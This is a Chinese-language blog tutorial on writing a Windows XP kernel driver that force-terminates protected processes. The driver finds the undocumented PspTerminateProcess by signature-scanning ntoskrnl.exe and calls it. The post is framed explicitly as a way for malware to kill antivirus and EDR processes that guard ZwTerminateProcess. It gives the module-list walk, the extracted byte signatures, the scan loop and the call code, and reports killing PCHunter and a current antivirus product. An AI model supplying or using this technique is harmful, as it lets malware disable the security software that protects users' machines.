前言
进程保护可以通过三环hook,诸如inline hook,IAT hook,不过在三环的hook都是雕虫小计,很轻松的就可以发现被发现,一些AV或者EDR往往三环是没有钩子的。3环的病毒面对0环的反病毒往往是显得弱小不堪,于是病毒也跳到0环,与反病毒公平展开博弈。
ZwTerminateProcess
这是一个微软已经文档化了的内核API,能够杀死一个其他的进程和它所对应的全部线程。
NTSYSAPI NTSTATUS ZwTerminateProcess(
[in, optional] HANDLE ProcessHandle,
[in] NTSTATUS ExitStatus
);
只需要传入一个进程句柄和一个退出码,就可以杀死一个进程。那么可想而知,如果病毒调用这个内核api,即可杀死所有反病毒进程,但攻防不断对抗,反病毒程序当然知道你要通过这个api就可以杀死我,于是就在内核下hook了这个api,如果结束的进程是我自己,我就不允许结束。
病毒自然也是不服气,冥思苦想想到了新的办法。
PspTerminateProcess
这也是一个内核API,我们去微软官网查这个函数。
可以看到是没有这个函数的文档的,但他存在吗,难道是别人杜撰的?
不服气的我去问windbg,windbg是通过pdb文件去解析的,能告诉我们很多不为人知的秘密。
u PspTerminateProcess l40
还真有,经过大佬指点,原来这是微软偷偷自己在用的函数,并且没有给我们说,但他确实是存在的,这叫未文档化函数。
那么如果我们想要调用这个函数怎么办呢?windbg可以通过pdb文件找到这个函数,我们则可以通过另外的方式找到他。
- 暴力搜索,提取该函数的特征码,全盘搜索。
- 如果有已文档化的函数调用了PspTerminateProcess,那我们就可以通过指针加偏移的方式获取到他的地址,同样可以调用。
本文就只讲述第一种方式,提取特征码后暴力搜索。
暴力搜索
暴力搜索首先是要明确搜什么,在哪搜。
在哪搜索这个是比较明确的,内核的api大概率都在ntoskrnl.exe中。
那怎么获取到ntoskrnl.exe的基址和大小呢?通过内核模块遍历就可以。
驱动函数入口的第一个参数指向的是DRIVER_OBJECT结构体。
kd> dt _DRIVER_OBJECT
在+0x014的位置,名为DriverSection的成员,指向的也是一个结构体_LDR_DATA_TABLE_ENTRY
kd> dt _LDR_DATA_TABLE_ENTRY
这个结构体详细的说明了当前模块的一些信息,在偏移为0的位置名为InLoadOrderLinks,通过名字来看也知道他是一个链表,实际上是通过这个链表将所有的模块都串在一起。
kd> dt _LIST_ENTRY
通过这个链表我们可以获取到其他所有模块的信息,自然也就能够获得ntoskrnl.exe模块的信息。
基址和大小就在下面两个成员里。
自然是搜索特征码,那么这个特征码怎么提呢?
kd> u pspterminateprocess l40
nt!PspTerminateProcess:
805c9da4 8bff mov edi,edi
805c9da6 55 push ebp
805c9da7 8bec mov ebp,esp
805c9da9 56 push esi
805c9daa 64a124010000 mov eax,dword ptr fs:[00000124h]
805c9db0 8b7508 mov esi,dword ptr [ebp+8]
805c9db3 3b7044 cmp esi,dword ptr [eax+44h]
805c9db6 7507 jne nt!PspTerminateProcess+0x1b (805c9dbf)
805c9db8 b80d0000c0 mov eax,0C000000Dh
805c9dbd eb5a jmp nt!PspTerminateProcess+0x75 (805c9e19)
805c9dbf 57 push edi
805c9dc0 8dbe48020000 lea edi,[esi+248h]
805c9dc6 f6470120 test byte ptr [edi+1],20h
805c9dca 7412 je nt!PspTerminateProcess+0x3a (805c9dde)
805c9dcc 8d8674010000 lea eax,[esi+174h]
805c9dd2 50 push eax
805c9dd3 56 push esi
805c9dd4 68769d5c80 push offset nt!NtTerminateProcess+0x14c (805c9d76)
805c9dd9 e896eeffff call nt!PspCatchCriticalBreak (805c8c74)
805c9dde 6a08 push 8
805c9de0 58 pop eax
805c9de1 f00907 lock or dword ptr [edi],eax
805c9de4 6a00 push 0
805c9de6 56 push esi
805c9de7 e88a4f0000 call nt!PsGetNextProcessThread (805ced76)
805c9dec 8bf8 mov edi,eax
805c9dee 85ff test edi,edi
805c9df0 741e je nt!PspTerminateProcess+0x6c (805c9e10)
805c9df2 ff750c push dword ptr [ebp+0Ch]
805c9df5 57 push edi
805c9df6 e807fdffff call nt!PspTerminateThreadByPointer (805c9b02)
805c9dfb 57 push edi
805c9dfc 56 push esi
805c9dfd e8744f0000 call nt!PsGetNextProcessThread (805ced76)
805c9e02 8bf8 mov edi,eax
805c9e04 85ff test edi,edi
805c9e06 75ea jne nt!PspTerminateProcess+0x4e (805c9df2)
805c9e08 3986bc000000 cmp dword ptr [esi+0BCh],eax
805c9e0e 7406 je nt!PspTerminateProcess+0x72 (805c9e16)
805c9e10 56 push esi
805c9e11 e8baf5feff call nt!ObClearProcessHandleTable (805b93d0)
805c9e16 33c0 xor eax,eax
805c9e18 5f pop edi
805c9e19 5e pop esi
805c9e1a 5d pop ebp
805c9e1b c20800 ret 8
805c9e1e cc int 3
805c9e1f cc int 3
805c9e20 cc int 3
805c9e21 cc int 3
805c9e22 cc int 3
805c9e23 cc int 3
我们可以将上面所有的硬编码都提取出来,然后再进行搜索,但是这样有意义么,或者意义大吗?
显然,特征码只需要提取其中一小块就可以达到效果。比如805c9db0那个位置上,就可以提取4个字节的特征码,因为并不是所有的api都会把ebp+8中存储的值放到esi中,是比较小众的。但光这四个字节是说明不了问题的,所以还要加一些特征码。
加一些特征码并不意味着连续,最好的方式就是隔一段代码,再提取,我们只需要判断相对偏移地址上的硬编码是不是与特征码相同就行了。按照这个思路,我这里提取了三段。
ULONG str1 = 0x3b08758b;
ULONG str2 = 0x0248be8d;
ULONG str3 = 0x0174868d;
代码实现
首先需要定义一个_LDR_DATA_TABLE_ENTRY结构体。
typedef struct _LDR_DATA_TABLE_ENTRY
{
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
ULONG DllBase;
ULONG EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
USHORT LoadCount;
USHORT TlsIndex;
LIST_ENTRY HashLinks;
ULONG SectionPointer;
ULONG CheckSum;
ULONG TimeDateStamp;
ULONG LoadedImports;
ULONG EntryPointActivationContext;
ULONG PatchInformation;
}LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
通过遍历模块找到ntoskrnl.exe的基址和大小,有了这两个值就可以搜索了。
UNICODE_STRING ntoskrnl = { 0 };
RtlInitUnicodeString(&ntoskrnl, L"ntoskrnl.exe");
PLDR_DATA_TABLE_ENTRY PMoudleLinkDriver = (PLDR_DATA_TABLE_ENTRY)pDriver->DriverSection;
//DbgPrint("%ws", PMoudleLinkDriver->BaseDllName.Buffer);
PLDR_DATA_TABLE_ENTRY PMoudleLinkDriverNext = PMoudleLinkDriver;
LONG x = RtlCompareUnicodeString(&(PMoudleLinkDriver->BaseDllName), &ntoskrnl, TRUE);
while (x != 0)
{
PMoudleLinkDriverNext = (PLDR_DATA_TABLE_ENTRY)PMoudleLinkDriverNext->InLoadOrderLinks.Flink;
x = RtlCompareUnicodeString(&(PMoudleLinkDriverNext->BaseDllName), &ntoskrnl, TRUE);
}
ULONG pNtoskrnlBase = PMoudleLinkDriverNext->DllBase;
ULONG pNtoskrnlLimit = PMoudleLinkDriverNext->SizeOfImage;
搜索代码,遍历整个ntoskrnl.exe的硬编码。特征码就是上面提取到的三组12字节的硬编码。
for (ULONG i = pNtoskrnlBase;i< pNtoskrnlBase + pNtoskrnlLimit; i++)
{
//DbgPrint("%x\n", *(PULONG)i);
if (*(PULONG)i == str1)
{
if (*(PULONG)(i + 0x10) == str2)
{
if (*(PULONG)(i + 0x1c) == str3)
{
PspTerminateProcess = (funcPspTerminateProcess)(i - 0xc);
break;
}
}
}
}
定义函数指针,我们需要有这个函数指针去执行这个函数。
typedef NTSTATUS(*funcPspTerminateProcess)(PEPROCESS process, NTSTATUS ExitStatus);
函数的第一个参数是PEPROCESS类型的,可以通过PsLookupProcessByProcessId函数获得。
PEPROCESS pEprocesszz = NULL;
NTSTATUS status = PsLookupProcessByProcessId((HANDLE)1232, &pEprocesszz);
if (status != STATUS_SUCCESS) {
DbgPrint(TEXT("获取进程的PEPROCESS失败\n"));
return status;
}
第二个参数是out型参数,会返回一个PEPROCESS结构体,第一个参数传入一个pid就可以了。
最后判断一下是否杀死了。
status = PspTerminateProcess(pEprocesszz,0);
if (status != STATUS_SUCCESS)
{
DbgPrint(TEXT("杀死进程失败\n"));
}
DbgPrint(TEXT("杀死进程成功\n"));
效果展示
选择要强杀的进程是pchunter.exe。这种内核工具具有一定保护自身的功能。在用户层甚至看不到用户名。
我们尝试直接结束。果然是不行的。
加载我们自己的驱动试试。
运行驱动瞬间,pchunter被结束掉了。
这里有同学就说了,你杀个pchunter干什么?于是我下了个某av。最新版的。
尝试结束其中一个进程。
加载我们自己的驱动。
后记
不同os的PspTerminateProcess函数名已经发生变化,感兴趣的同学自行拓展,本文的os是xp。
同样可以自行挖掘,未导出文档函数还有很多,都将成为对抗利器。
发表评论
您还未登录,请先登录。
登录